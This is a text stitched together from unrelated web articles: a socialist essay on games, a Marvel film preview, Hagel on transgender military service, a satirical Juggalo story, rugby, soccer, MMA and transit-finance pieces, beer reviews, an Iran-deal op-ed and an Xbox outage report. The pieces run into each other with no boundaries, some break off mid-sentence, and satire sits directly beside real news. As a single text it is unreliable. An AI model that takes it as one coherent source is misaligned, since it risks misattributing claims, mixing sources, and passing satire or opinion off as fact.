On a more pragmatic level, serious games and simulations would conceivably be used to discuss and unpack complex challenges. Today, framing social issues like poverty or clean energy as “problems” to which we ought to find “solutions” masks the central role of capitalism in perpetuating them. As long as people are allowed to get rich by controlling food supplies and burning cheap fossil fuels, there will be no technological fix that makes everybody happy. But in a classless society predicated on justice and equal rights, technocratic projects like Buckminster Fuller’s World Game would be much less naive and problematic.
The World Game had several different formulations, the most ambitious one was a hypothetical computer simulation fed with real data from all over the world. In a sort of resource management game, players would collectively try to “Make the world work, for 100% of humanity, in the shortest possible time, through spontaneous cooperation, without ecological offense or the disadvantage of anyone”. Bucky Fuller imagined the World Game to be played competitively by teams and live-televised globally like an esport. The best solutions emerging from these competitions were meant to be turned into actual policies.
Playing in utopia
In conclusion, socialism is not the promise of a society free of problems and conflicts, but that of a society equipped to address these problems. Global warming will still be a huge existential threat for the human race. Abuses of power, corruption, and discrimination will definitely stick around. Fierce debates about the usefulness of space colonization or virtual reality will keep consuming us.
Gamers and game developers are a perfect constituency for the socialist project: they are good at collective problem solving, they are used to manipulate and think in systems, they enjoy agency and power.
There are many ways to conceive socialism, communism and the all the possible stages between them (not to mention the century-long debates about how to enact such deep transformations).
Regardless, in a profoundly conservative climate, when it’s tempting to just play defense and settle for the lesser evil, it’s a good exercise to think about the kind of world we really want to see. Whether your utopia is a primitivist commune or a Scandinavian-style mixed economy, whether or not it’s achievable in your lifetime, it would at least provide a direction and parameters by which you can define your political goals.Big things happen in threes.
With Iron Man 3 heading into its third weekend, now is the perfect time to look ahead to what Marvel Studios may be planning for its own third act — the evolving multi-movie slate known as Phase Three.
Phase One for the comic book studio was the series of films that culminated in last year’s The Avengers. Phase Two begins with Iron Man 3, and will build to Avengers 2 in 2015, with Captain America: The Winter Soldier, Thor: The Dark World, and Guardians of the Galaxy in between.
The question that still hasn’t been resolved, even internally at the studio… What comes next?
Right now the only definite project being planned for Phase Three is Edgar Wright’s Ant-Man, which has been in development since 2006 but will finally come to the screen in November 2015 — just a few months after Avengers 2.
“I’d say 99 percent of our time right now is purely spent on Phase Two,” Marvel Studios president Kevin Feige told EW. “It’s five colossally giant motion pictures that we have to produce. So that’s taking up the time. But within the next year or so we’ll start the advanced planning for post-Avengers 2.”
Given that nothing has been settled yet, EW tried to pick Feige’s brain about which potential Phase Three movies are likely — and which are definitely not happening.
Here’s what we learned:
• Ant-Man
• Doctor Strange
• Iron Man 4
• Black Panther
• Daredevil, The Punisher, Blade, Ghost Rider
• Hulk
• Inhumans
• Runaways
• Marvel Zombies
And in case you missed it, here is EW’s update on Marvel’s Phase Two series, with details on all the movies that are already in the works.
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Follow @breznicanDefense Secretary Chuck Hagel said Sunday he believes the military's ban on transgender Americans serving in the armed forces "should be reviewed."
While the military's "Don't Ask, Don't Tell" policy was repealed in 2010, transgender individuals are still prohibited from serving.
In an interview with ABC's "This Week," Hagel said he's "open" to reconsidering the ban.
“I do think it continually should be reviewed," he told ABC's Martha Raddatz. “I'm open to those assessments, because, again, I go back to the bottom line, every qualified American who wants to serve our country should have an opportunity if they fit the qualifications and can do it."
Hagel said his biggest area concern with reforming the policy is being able to provide medical support to transgender troops, especially for those in what he called "austere locations."
Earlier this year, an independent commission led by former U.S. surgeon general Dr. Joycelyn Elders found there is no "compelling medical reason" for the ban.Thousands of Juggalos to Travel to D.C. in One Tiny Car
DETROIT — Thousands of Juggalos are travelling in one undersized Ford Escort to descend on the National Mall in Washington to protest their F.B.I. gang designation, according to multiple face-painted, hatchet-wielding sources.
“Ay, ay! This shit is hard as fuuuuck,” said a Juggalette by the name of Sexy Dead Bitch before sliding legs-first through the rear window of the unusually small car into a pile of screaming Juggalos. “Whoop whoop, motherfuckers! See you in D.C., where shit is gonna get ill as dope.”
A leaked map of the route to Washington indicates the tiny car will make stops across the country to pick up other Juggalos for the protest.
“Yo, straight up, most of us just don’t have cars — and if we do, they’re beaters, because this economy has us assed out,” said lifelong Juggalo Peter “Da Hitman” Cross. “So we’re riding from Detroit to Cali and back across the country, picking up the illest Ninjalos and Ninjalettes to take a stand against the chickens in the government.”
The Juggalo march will have to compete with neo-Nazi groups as they prepare for the M.O.A.R. [Mother of All Rallies], also taking place at the National Mall on September 16.
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“I will be in D.C. that day, but only to watch lame dudes in khaki pants get the shit kicked out of them by lame dudes in facepaint,” said excited Washington resident Ashley Clifford. “I absolutely do not want either group in my city, but for once, I’m very much rooting for the Juggalos.”
While the Juggalos were generally unfazed by the white nationalist gathering and a potential clash between the two groups, they did grow increasingly frustrated by the lack of space in their vehicle.
“Fuck a Nazi,” said a man by the name of Skrilly Shanksta, whose makeup was melting in the heat. “All I’m worried about right now is getting my fat ass into this seat.”
Some 2,000 more Juggalos are expected to fill the car before it finally arrives in Washington. Meanwhile, the neo-Nazis will reportedly arrive in the back of a lifted Ford F-350 with a rebel flag wrap.
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Article by Josh Fernandez @satandez. Photo by Joshua Heller.Worcester's Francois Hougaard starts on the wing for the Springboks
South Africa coach Allister Coetzee named Francois Hougaard, Juan de Jongh and Jesse Kriel for the Rugby Championship Test against Australia in Brisbane on Saturday.
The changes come after the Springboks suffered a 26-24 loss to Argentina in Salta two weeks ago. One change is due to injury while another is a positional switch.
Hougaard comes into the side as a replacement for Ruan Combrinck, who fractured his leg against the Pumas, and he will play on the left wing, pushing Bryan Habana on to the right flank.
The new centre combination of De Jongh and Kriel gets a run in place of Damian de Allende and Lionel Mapoe, who is on the replacements bench.
De Jongh and Kriel both featured as substitutes for South Africa in the first two Tests against Argentina, in Nelspruit and Salta.
In the only change amongst the forwards, tighthead prop Lourens Adriaanse will earn his first start for the Springboks in place of Vincent Koch, while lock Eben Etzebeth will become the youngest player ever to play 50 Tests for South Africa.
Etzebeth reaches the mark at the age of 24 years, nine months and 12 days, surpassing the record previously held by Pat Lambie.
South Africa lock Eben Etzebeth will win his 50th cap
Coetzee said he was excited to see what impact the new players could make.
"Looking at the impact that Juan and Jesse made when they came off the bench in Nelspruit and Salta, then I think now is the right time to give them a starting opportunity," he said.
"It's a great opportunity for them to play together as a centre combination and both have Test match experience."
South Africa: 15 Johan Goosen; 14 Bryan Habana, 13 Jesse Kriel, 12 Juan de Jongh, 11 Francois Hougaard; 10 Elton Jantjies, 9 Faf de Klerk; 1 Tendai Mtawarira, 2 Adriaan Strauss (c), 3 Lourens Adriaanse, 4 Eben Etzebeth, 5 Lood de Jager, 6 Francois Louw, 7 Oupa Mohoje, 8 Warren Whiteley,
Replacements: 16 Bongi Mbonambi, 17 Steven Kitshoff, 18 Trevor Nyakane, 19 Franco Mostert, 20 Pieter-Steph du Toit, 21 Jaco Kriel, 22 Morne Steyn, 23 Lionel Mapoe.Secretary of state Kerry on Capitol Hill, July 28, 2015. (Mandel Ngan/AFP/Getty)
The sanctions regime President Obama and Secretary of State Kerry vowed to step up has already collapsed. The mullahs are already scooping up billions in unfrozen assets and new commerce, and they haven’t even gotten the big payday yet.
Obama’s promises of “anytime, anywhere” inspections have melted away as Tehran denies access and the president accepts their comical offer to provide their own nuclear-site samples for examination. Senator John Barasso (R., Wyo.), a medical doctor, drew the apt analogy: It’s like letting a suspect NFL player provide what he says is his own urine sample and then pronouncing him PED-free.#
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And now even the Potemkin verification system has become an embarrassing sham, with Iran first refusing to allow physical investigations, then declining perusal of documentation describing past nuclear work, and now rejecting interviews of relevant witnesses.
Recall that administration officials indignantly assured skeptics that there would be no agreement in the absence of Iran’s coming clean on the “past military dimensions” of its nuclear work. As Kerry put it, “They have to do it. It will be done. If there’s going to be a deal; it will be done.”
The reason it had to be done is obvious. According to Obama, his Iran deal is built on verification, not trust — at least when the president is not trusting Ayatollah Khamenei’s phantom anti-nuke fatwa. Plainly, it would be impossible to verify whether Iran was advancing toward the weaponization of nuclear energy — whether it had shortened the “breakout time” the elongation of which, Obama claims, is the principal objective of his deal — unless one knew how far the mullahs had advanced in the first place.
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RELATED: The Bipartisan Coalition against Obama’s Iran Deal
But now, in open mockery of an American president they know is so desperate to close this deal he will never call their bluff, the mullahs have told the International Atomic Energy Agency to pound sand — although not sand in Iran, where the IAEA is not permitted to snoop around. Tehran is steadfastly refusing to open its books, and the IAEA sheepishly admits that it cannot answer basic questions about Iran’s programs and progress.
There is no inspection, no disclosure, and no verification. And did I mention no sanctions?
So what does Team Obama do? Do they, as they promised, walk away from an unverifiable and thus utterly indefensible deal that lends aid and comfort to our enemies? Of course not. Now they’re out there telling Americans, “We don’t need this IAEA program to discover whether or not Iran was pursuing a nuclear weapon — they were,” as Senator Chris Murphy, a Connecticut Obamabot, told the Wall Street Journal.
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Well good for you, Sherlock; Obama, Kerry, and Hillary Clinton may still be hanging on that fatwa, but you hit the bull’s-eye.
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Here’s the thing, though, Senator Murphy: Yes, all of us know the Iranians, as you cheerily put it, “were” pursuing a nuclear weapon — especially all of us who oppose Obama’s Iran deal and who recognize that the jihadist regime has waged war against us since 1979, killing thousands of Americans. But you “let’s make a deal” guys told us your objective was to uncover how far along they “were” and to roll back their progress. (Actually, you used to tell us your objective was to prevent them from getting nuclear weapons, period — as in “if you like your health-care plan, you can keep your health-care plan, period.”)
RELATED: Who Is the One Actually Making Common Cause with Iran’s Hard-L |
Scot said he was impressed with the start his Portuguese counterpart has made at Stamford Bridge.
"For a young man who has come to Chelsea, it is a great challenge," he added.
"It is a hard challenge at his age but when you go to a new club, you hope you get an immediate response. He has got that.
"They are a team with great experience and they will always be a challenge to us."Registered nurse N. Von Reiter comforts a man at the Hospice of Saint John in Lakewood, Colo. Health care, a field traditionally dominated by women, is one part of the economy that is still growing.
ECONOMIC CRISIS ECONOMIC CRISIS Men have suffered the most job loss in these tough economic times. Below, data from when the recession began in December 2007 to June: Source: Bureau of Labor Statistics EMPLOYMENT EMPLOYMENT Women outpaced men in getting jobs in the health care and government sectors. Women accounted for 79% of jobs gained in health care and 94% in government. Job gains measured per 100,000: Source: Bureau of Labor Statistics UNEMPLOYMENT UNEMPLOYMENT Manufacturing and construction industries are two of the hardest hit sectors in the recession. Women accounted for 8% of losses in construction and 6% in manufacturing. Job losses measured per 100,000: Source: Bureau of Labor Statistics Women gain as men lose jobs Women are on the verge of outnumbering men in the workforce for the first time, a historic reversal caused by long-term changes in women's roles and massive job losses for men during this recession. Women held 49.83% of the nation's 132 million jobs in June and they're gaining the vast majority of jobs in the few sectors of the economy that are growing, according to the most recent numbers available from the Bureau of Labor Statistics. That's a record high for a measure that's been growing steadily for decades and accelerating during the recession. At the current pace, women will become a majority of workers in October or November. The data for July will be released Friday. "It was a long historical slog to get to this point," says labor economist Heidi Hartmann, president of the Institute for Women's Policy Research. The change reflects the growing importance of women as wage earners, but it doesn't show full equality, Hartmann says. On average, women work fewer hours than men, hold more part-time jobs and earn 77% of what men make, she says. Men also still dominate higher-paying executive ranks. Women have been a growing share of the once heavily male labor force for nearly a century, recording big bumps during epochal events such as the Depression and World War II. This time, the boost came from a severe recession that has been brutal on male-dominated professions such as construction and manufacturing. Through June, men have lost 74% of the 6.4 million jobs erased since the recession began in December 2007. Men have lost more than 3 million jobs in construction and manufacturing alone. The only parts of the economy still growing — health care, education and government — have traditionally hired mostly women. That dominance has increased in part because federal stimulus funding directed money to education, health care and state and local governments. The Postal Service is cutting tens of thousands of unionized, blue-collar jobs dominated by men while new hires are expanding in teaching and other fields dominated by college-educated women. The gender transformation is especially remarkable in local government's 14.6 million-person workforce. Cities, schools, water authorities and other local jurisdictions have cut 86,000 men from payrolls during the recession — while adding 167,000 women, according to the Bureau of Labor Statistics. "Unemployment among men isn't going to last forever," says University of Chicago economist Casey Mulligan. "People will move from construction and manufacturing to industries that are creating new jobs." Mulligan expects the portion of jobs held by women to peak slightly above 50% this year, then drop below half when the economy recovers and more men find work. Equality in workforce numbers reflects a long-term cultural change, says Maureen Honey, author of Creating Rosie the Riveter, a book about the government's campaign to persuade women to work outside the home during World War II. "The image that the man has to be the breadwinner has changed," Honey says. Guidelines: You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. Read more4 of 5
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Given the way the transfer market is progressing, with English players costing a significant premium due to the new £5.1 billion television deal set to kick in this summer, the £49 million City paid Liverpool for Raheem Sterling is beginning to look like a bargain.
This, after all, is the most promising young English player around. Like most his age—and it’s easy to forget he’s just turned 21—Sterling’s form is yet to stabilise. There are good days and bad days; some where his pace and precociousness make him almost unplayable and others where he looks unable to influence the game. It’s perfectly normal.
What isn’t normal is his ability. This is a rare talent, one capable of reaching the very top of the game. Pace, directness, skill and an ability to create, he’s got plenty in his armour already.
And his attitude is superb. Watch any interview he’s given for CityTV, or read the quotes from interviews with national newspapers, and a theme emerges.
This is a focused young man who knows exactly what he needs to do to reach the top of the game. The fact he has left Queens Park Rangers and Liverpool already in his short career, moves designed to help him develop, says everything about his ambition and determination.
His reputation was tarnished after his move in the summer thanks to a coordinated attack from ex-Liverpool players in the media. That, it seems, has transmitted to the stands.
Sterling has been booed at pretty much every away ground he’s visited so far this season in what has become a weird campaign against a young man looking to improve his career prospects and bank balance, just like the rest of us do in our day-to-day lives.
It seems it’s also spread to match officials. Sterling cannot get a decision. The recent game with Everton, where he was denied a clear penalty in the final seconds when John Stones cleared him out inside the area, was the clearest example, but there have been many more.
It’s been a mixed season. He’s faced criticism at times, but when one takes a step back and considers his age, new surroundings and the adversity he’s faced, he’s been superb.
Grade: B+VANCOUVER WHITECAPS vs. OTTAWA FURY FC
BC PLACE, Vancouver, British Columbia
Amway Canadian Championship semifinal, second leg
June 8, 10 pm ET (TSN2 in Canada, MLS LIVE in US)
In order to be able to defend their Amway Canadian Championship title, the Vancouver Whitecaps will first have to dig their way out of a two-goal hole in the second leg of their semifinal against the NASL's Ottawa Fury FC, following their 2-0 loss in the first leg of the series last week. Because they failed to score in the away leg of the series, Vancouver must win by three goals or more to win the series outright. A 2-0 win for the Whitecaps would force overtime, but a 3-1 Vancouver win would see Ottawa go through on the away goals tiebreaker rule.
How they got here
VANCOUVER: Defending champions, the Whitecaps, along with fellow MLS sides Toronto FC and Montreal Impact, automatically entered the Canadian Championship in the semifinal round.
OTTAWA: The Fury qualified for the semifinals for the first time in their history this year, as they defeated FC Edmonton 3-2 on aggregate to reach the final four.
The series so far
Facing an unfamiliar opponent from a lower league, the Whitecaps tried to play a young lineup in the first leg of the series and ended up paying for it, giving up goals to a pair of former MLS players in Jonny Steele and Paulo Junior. Steele scored from outside the box in the third minute and Junior banged home a rebound in the 41st minute. Playing at home, Vancouver knows a 2-0 victory would mean an aggregate score of 2-2 and would force the second leg to go to extra time. In the extra time, away goals count double, so if Ottawa scores, then the Whitecaps would have to score two goals to force a penalty kick tie breaker.
Series history
The first leg match was the first competitive meeting between the clubs. The Fury, which began play in 2014 and were championship finalists last year, had not played a non-NASL opponent in a competitive game before last week's match.Believe it or not, Winter 2014 is rapidly coming to a close. We’ve already “sprung forward” and moved the clocks ahead an hour, and in just two short days, the first day of spring will be upon us. Little league baseball practice has already begun, the G-LO family’s summer vacation is booked, and the lawn service should be around any day now to spread some fertilizer and pre-emergent crab grass killer (I’m still a city kid at heart, so yard work is not in my DNA. I subcontract that stuff). In addition to all of that, the “soon to be an everyday thing” warm weather means cold beer in pool and beach friendly packaging, i.e. canned Craft Beer.
Over the years, we’ve had the pleasure of enjoying many of the canned Craft Beer goodness that comes from Oskar Blues, 21st Amendment, Sly Fox, Sierra Nevada, Brooklyn, and many others. Pilsners, Stouts, Lagers, IPAs, Pale Ales, Scotch Ales, Saisons, and even a Barleywine. Name any beer style, and there’s a good chance that we’ve tried a version that was available in cans.
Back in October, I read a HILARIOUS review of Stillwater Artisanal Ale’s latest canned Craft Beer offering by our blogging buddy Scott of the Beerbecue blog. Much like myself, Scott was on the hunt for a refreshing and session worthy beer. Here are his exact words:
This Summer, I have been on a search for an everyday beer. While the Haybag might disagree, it’s not like you can always drink beers that are so big they leave their shirt on at the pool. And ticking something new every day can get tiresome. My go-to shall be interesting, but not an attention whore. It shall be enjoyable, yet easy to shotgun. It shall not leave me wishing for something else. It shall be conducive to multiple beverages while tending to the smoker in the Summer or watching Notre Dame disappoint me in the Fall, but also just drinking one with lunch or dinner…or breakfast…or mid-morning snack.
In case you haven’t already clicked the link to Scott’s review of this beer, he wasn’t kidding about the whole shotgun thing. Scroll back and click the link to see him shotgun one. It’s an amazingly graceful performance. As I said in my comment to his post, “I would have either had the can spraying beer all over me, or I would have puked while trying to drink it as fast as I can”.
As luck would have it, during a recent beer run to The Foodery, they just happened to have a can of Stillwater’s Classique in stock. As is usually the case, I only picked up one as part of a mixed six pack, so as far as this blog post goes, there will be no shotgunning.
And now for my impressions of this beer…
Appearance : Slightly cloudy pale yellow color with a thick and bubbly head of foam that rises to about an inch and then dissipates slowly. Moderate lacing.
: Slightly cloudy pale yellow color with a thick and bubbly head of foam that rises to about an inch and then dissipates slowly. Moderate lacing. Aroma : Yeast, lemon zest, clove, a hint of pepper, and some fresh herbs (maybe cilantro or parsley).
: Yeast, lemon zest, clove, a hint of pepper, and some fresh herbs (maybe cilantro or parsley). Taste : Velvety smooth carbonation with what feels like teeny tiny bubbles that pop and fizz on your tongue. Not as intense as your higher octane Saisons. Starts off with some lemon zest and fresh herbs followed immediately by some of that yeastiness. Dry and slightly tart at the finish. Leaves you with a slight pucker and a mildly bitter lemony aftertaste.
: Velvety smooth carbonation with what feels like teeny tiny bubbles that pop and fizz on your tongue. Not as intense as your higher octane Saisons. Starts off with some lemon zest and fresh herbs followed immediately by some of that yeastiness. Dry and slightly tart at the finish. Leaves you with a slight pucker and a mildly bitter lemony aftertaste. ABV: 4.5%
Given that this is a Session Saison type of beer, it’s impossible to avoid comparing it to Victory’s Swing Session since both are Farmhouse Ales with an ABV of 4.5%. My only complaint with the Victory Swing Session was with what I thought at the time to be an almost overly pithy lemon finish. The finish on Stillwater’s Classique is what gives it the ever so slight edge over Victory’s Swing Session. Overall, I found the Stillwater Classique to be crisper, cleaner, and a touch more easy drinking. Since it’s been almost a year since I had my last Victory Swing Session, it sounds like a side by side tasting is in order.Just as the Xbox One's biggest game release arrives, network problems are keeping many owners from signing in. The Xbox Support Twitter account reported an issue around 5PM ET, and according to the service's dashboard it's still ongoing. While many players who already setup their consoles and logged in to the game (including some of our editors) are able to connect and play Titanfall -- the game's cloud seems to be holding up, even if Xbox Live isn't in general -- others are unable to sign in, particularly brand-new Xbox One purchasers who can't get much of anything going. The support team's message has been promising updates every 30 minutes or so, but so far there's no ETA on a fix. Steam appears to have just come back online after downtime of its own -- perhaps we could suggest some Dark Souls II on PC in the meantime?
Update: As of 10:47PM ET the Xbox Status page and Support Twitter report the problem is resolved. The team recommends a full power cycle (hold down the Xbox button on the system itself for five seconds to turn it all the way off, then turn it back on), and then you should be ready to request your Titan, pilot.California’s craft beer industry still has a way to go before it can hold a candle to its celebrated wine trade, but it’s certainly trending in the right direction.
In 2014, the market for craft beer in the state continued to flourish, contributing more than $6.5 billion to the economy, according to a newly released report from the California Craft Brewers Association (CCBA).
While the figure is representative of a “fairly conservative” uptick of 18 percent over the year prior, craft beer still boasted a higher economic impact in California than anywhere else in the nation, the CCBA said.
Tom McCormick, executive director of the CCBA, attributed the growth to a number of things, including lenient rules that govern both startup and established businesses.
“It’s a very, very vibrant state,” he told Brewbound. “For the most part, our regulatory structure here is very conducive both to startups and the growth of craft breweries, and I think that makes a big difference.”
All in, the state’s brewers – which include nationwide top 10 craft players Sierra Nevada, Stone, and Lagunitas – produced more than 3.4 million barrels of beer in 2014, while employing more than 48,000 people.
The industry’s growth, in part, was driven by the arrival of new players on the scene. In 2014, there were 519 operating craft breweries in the state, up from 418 the year prior (though as of March, California has 554 operating breweries). In 2012, California played host to only 313.
McCormick said he was only aware of one or two brewery closings in the state in 2014, though, as the space continues to crowd, he expects to see “the dynamics of that change” sometime in the next few years.
Together, the report continues, California’s brewers paid more than $56 million in both state and federal excise taxes in 2014, and more than $1.3 billion in income and other federal, state and local taxes.
Looking ahead, McCormick concluded he still sees a lot of run room for craft to continue to nab market share of the overall beer market, which he pegged currently somewhere between 20 and 22 percent.
There is, of course, also a severe drought plaguing the state that has been a popular talking point as it relates to the craft beer industry — and its future growth.
“If we can get rain out here, I think we’ll be in great shape,” added McCormick.A lightweight contest between Japanese superstar Takanori Gomi (35-10 MMA, 4-5 UFC) and “Fight Night” bonus machine Joe Lauzon (24-10 MMA, 11-7 UFC) has been added to UFC on FOX 16.
Featuring a bantamweight title fight between current champ T.J. Dillashaw and former title holder Renan Barao, UFC on FOX 16 takes place July 25 at Chicago’s United Center.
The 36-year-old Gomi fought most recently in September, when he suffered a disappointing first-round loss to Myles Jury in Japan. Prior to the result, Gomi had gone 3-1 in his previous four appearances, including wins over Isaac Vallie-Flagg, Mac Danzig and Eiji Mitsuoka.
Meanwhile, the 30-year-old Lauzon also seeks to rebound from a recent loss, falling short in January against Al Iaquinta. The result snapped a two-fight winning streak for Lauzon, who has downed Michael Chiesa and Mac Danzig in his previous appearances.
With the addition to the card, UFC on FOX 16 now includes:
Champ T.J. Dillashaw vs. Renan Barao – for bantamweight title
Myles Jury vs. Anthony Pettis
Jessica Eye vs. Miesha Tate
Erik Koch vs. Ramsey Nijem
Danny Castillo vs. Rustam Khabilov
Takanori Gomi vs. Joe Lauzon
For more on UFC on FOX 16, check out the UFC Rumors section of the site.Recent discussions about transit and profitability seem to imply that a transit system could be profitable if you privatize and automate it. This led me to wonder whether the Montreal Metro, a semi-automated system, is actually profitable.
From an accounting perspective, profitability is simple: add up the revenues and the costs of doing business, and if your revenues exceed your costs, you’re profitable.
I don’t do this with a view of exploring the merits of subsidies, but with a desire to get a more accurate accounting of the cost of transit, in particular comparing different modes of transit.
A transit system generates revenues through fares and other activities like selling ad space (other revenues). Costs include not only operations (ongoing labour, maintenance, energy/gasoline, etc.), but also capital expenses (building new lines, buying trains/buses, major renovations, technology upgrades like the Ibus tracking and fleet management system, etc.). A transit system also receives subsidies (which it counts as revenue) because fares generally don’t cover operations and capital expenses.
The STM’s numbers are easily found in their budgets, Which gives us the totals for costs and revenues of the bus and metro system.
The budget pools together paratransit, bus and metro, so if we only want to calculate the profitability of the metro, we’ll need to split up the costs and revenues by mode. Also, the investments shown in the operating budget do not include all the capital costs of the STM, so we will need to find those numbers as well.
To be able to compare the revenues and costs across the different systems with different number of passengers engaging in trips of different lengths, we need a common measure that accounts for these differences. One such measure is the passenger-km, which represents the total number of kilometers all passengers are travelling in the system. It provides a good way to compare the revenues and costs across different networks, and provides a common point of reference when discussing profitability and subsidies.
An example of the use of passenger-km (or pass-km) is in the following chart published by CDPQInfra, the promoters of the REM, to compare costs and subsidies of the REM and the existing networks in Montreal.
Back to Metro profitability, we will need to do the following:
Find the passenger-kilometres of the STM and how they are split between the bus and metro
Divide the cost of operations between bus and metro
between bus and metro Divide the revenues between bus and metro
between bus and metro Divide capital costs between bus and metro.
between bus and metro. Divide all the costs by the total passenger-kilometres.
In order to make numbers more comparable, we will exclude paratransit. I’ll show my calculations for the year of 2015, but numbers don’t change much during the years.
If you’re not interested in the detailed breakdowns, you can skip ahead to the result:
1) Passenger-Kilometers of the STM The STM publishes very little information about the passenger-kilometers they achieve. Luckily we have access to the Canadian Public Transit Association (CUTA) factbook, which provides this number. According to the CUTA factbook of 2015, the STM moved passengers a total of 3.45 billion km. Unfortunately, we are still left with the problem of splitting the kilometres between the bus and the metro. There is almost no information available about this. After much searching, the only reference I found is in a 2013 presentation given by the STM at a conference in the Czech Republic. It indicates that the metro accounts for 64% of the passenger kilometers of the system. This number is a few years old, but it still provides the best estimate for our calculations — even if the total ridership has changed, the proportions are likely similar. Passenger-Kilometers of the STM metro passenger km 2,211 million km bus passenger km 1,243 million km total passenger-km 3,455 million km 2) Cost of Operations of Bus and Metro The budget of the STM provides the the following revenue and cost summary in their 2015 budget (page 10): On the revenue side, we see plenty of income from fares, but also a lot of subsidies.
On the expenses side, most of the money is spent operating the bus and metro, but a large chunk also goes towards paratransit. The budget also includes some investments (capital costs). To split the costs by metro and bus, we can look further in the budget, where the STM provides a breakdown of operating costs by administrative unit (page 61): Luckily for us, the operating costs of the metro is shown separately from bus and paratransit. However, to get the complete picture, we have to figure out how to allocate the cost not directly associated with the metro or bus system, but represents services shared between them. In the absence of specific information, the best we can do is find a reasonable split. On the one hand, the metro transports more passengers and is generally more technically complicated to operate than buses. On the other hand, the bus network has twice the numbers of employees (page 62 in 2005 budget) and costs twice as much to operate compared to the metro. Considering this, I decided that splitting the shared services 40% for the metro and 60% for the bus was reasonable. Strangely, the costs shown in the STM chart do not add up to the budget’s total operating cost but we will ignore this for our calculations. Bus & Metro Operating Costs of the STM (2015) metro 405M$ bus 679M$ bus & metro 1,085M$ 3) Revenues of Bus and Metro The next step is to allocate the revenues between the metro and bus, as they are reported together in the STM budget. Again, this is not a trivial task. To illustrate the complexity, imagine a passenger purchases a single ticket and takes a bus for 2 km, then the metro for 6km, then another bus for 2km. How should we split the fare between the bus and metro? Should we split the fare 60/40 based on the number of travelled kilometers? What if the passenger transfers from one metro line to another? Or 50/50 between bus and metro? Or 33/66 because the metro was taken once, but buses were taken twice (or, in industry terms, “by boarding”)? What if the passenger transferred from one metro line to another? To answer this question, I tried to find out how the STM and agencies share revenues for passes that span multiple transit agencies. I found that a hybrid is used: for TRAM monthly passes covering multiple agencies, the first 23.75$ are shared in proportion to the number of trips, the remainder according to passenger-km travelled (budget 2015, page 141). I applied a similar sharing model to the calculations, and allocated 20% of the revenues by boarding and the rest by passenger-km. While analyzing revenue-splitting, I considered factoring-in the type of tickets to get more accurate numbers. Analyzing STM OPUS card tap-in data, I found that there are more single and short term tickets used on the metro compared to the bus, which in turn sees more weekly and monthly passes. This may be relevant, since single tickets bring in more revenue per trip compared to pases. On the other hand, the Metro sees more monthly passes that are shared with other agencies (TRAM passes), which complicate revenue allocations. Without being able to model these accurately, we’ll simply assume that the usage of different tickets across the different networks has a negligible impact on revenue. Bus & Metro Revenue (2015) per boarding per km combined metro 384 M$ 422 M$ 415 M$ bus 275 M$ 237 M$ 245 M$ total 660 M$ 660 M$ 660 M$ 4) capital cost Capital costs are the big one time costs used to build lines, upgrade them or make large renovations. It is possible to trade operating costs for capital costs — for example, a system could decide to spend a lot of money to replace an expensive-to-operate heavily used bus line with an automated light metro line, which may reduce the number of staff required and thus the operating cost – but requiring a lot of capital expenditure. On the other hand, a system could decide to never build capital-intensive rail lines at all and transport everybody by bus all the time. Then the capital costs will be much lower (since you basically only need the buses and garages), but the operating costs will be very high. So in order to get a complete picture of the total cost of running transit, we need to consider the capital costs. Generally, we expect the capital costs for a metro system to be large due to the expensive infrastructure, and the capital costs for a bus system to be small. For the operating cost it’s the other way round — and depending on how many users there are running on the line, the total cost of one or the other may be cheaper per passenger. Figuring out how to count the capital costs can be quite tricky. Some investment spendings come out of the operating budget. Capital spending may vary from year to year, depending on the construction projects. Capital costs are also often paid via debt, which then spreads the costs over many years and makes it hard to identify when the costs happen. From an accounting perspective, there are two approaches to counting the capital costs: when the money is made available and when it is spent. Both approaches have shortcomings, as debt makes it hard to track when the money for capital projects is paid out. The STM budget also doesn’t provide a detailed view to track this information. Further, it’s impossible to split the information to bus and metro spending. Tracking when the money is spent is much easier: each year there is a capital budget, and there is even a listing of the projects where most of the money is spent. This allows to differentiate bus and metro spending. The problem is that this pretends that the capital cost of the system is only due to projects that are being done in one year, when in reality most of the capital spending may have been done in the past, with the debt being paid off slowly. Looking at the capital budget over multiple years, we see that the spending has been relatively constant, around 600M$ per year (although there were some spikes in recent years due to the purchase of new metro cars). Also consider that the only metro extension in nearly thirty years, the 2007 Laval extension of the Orange line, cost 745M$ in total — not much more than a single year of capital budgets now. The capital budget can be relatively easily split into bus and metro, since most of the budget is for major projects: It seems overall, using the year-of-expenditure view of capital cost provides a reasonable approximation of the total capital cost of the system, and allows us to break it down into bus and metro spending.
The Results
Putting all of these numbers together, we’ll get the following results:
Bus & Metro Cost & Revenue per Passenger-km (2015) Metro Bus Overall revenue (per passenger-km) 18.7c 19.7c 19.1c operating cost (per passenger-km) 18.3c 54.6c 31.4c capital cost (per passenger-km) 21.4c 11.9c 18.0c total cost (per passenger-km) 39.7c 66.5c 49.4c
As expected, the metro is cheaper to operate, but the capital costs are higher, compared to the bus. The capital costs for the STM bus system actually seem a bit high — this may be due to large bus infrastructure projects going on right now, work on garages and updated real-time tracking systems.
Also note that the bus has more revenue per kilometre. This is because metro trips are longer on average compared to bus trips, ever since the metro extension to Laval (page 20).
Conclusion
We find that the metro is barely profitable operationally. Since the subsidies are provided to both the metro and the bus system, we could claim that the metro is profitable after subsidies, and that these profits are used to subsidize the capital costs of the metro, or more likely, the operating costs of the buses.
One important thing to remember is that the STM forms a system of buses working together with the metro. Many passengers use buses to get to the metro, meaning the buses extend the reach of the metro. Without the feeder buses, the metro could not attract enough riders to be profitable.
So we can say overall that the metro is operationally profitable but only if we ignore the help of the feeder buses.
See the detailled spreadsheet for all the data.
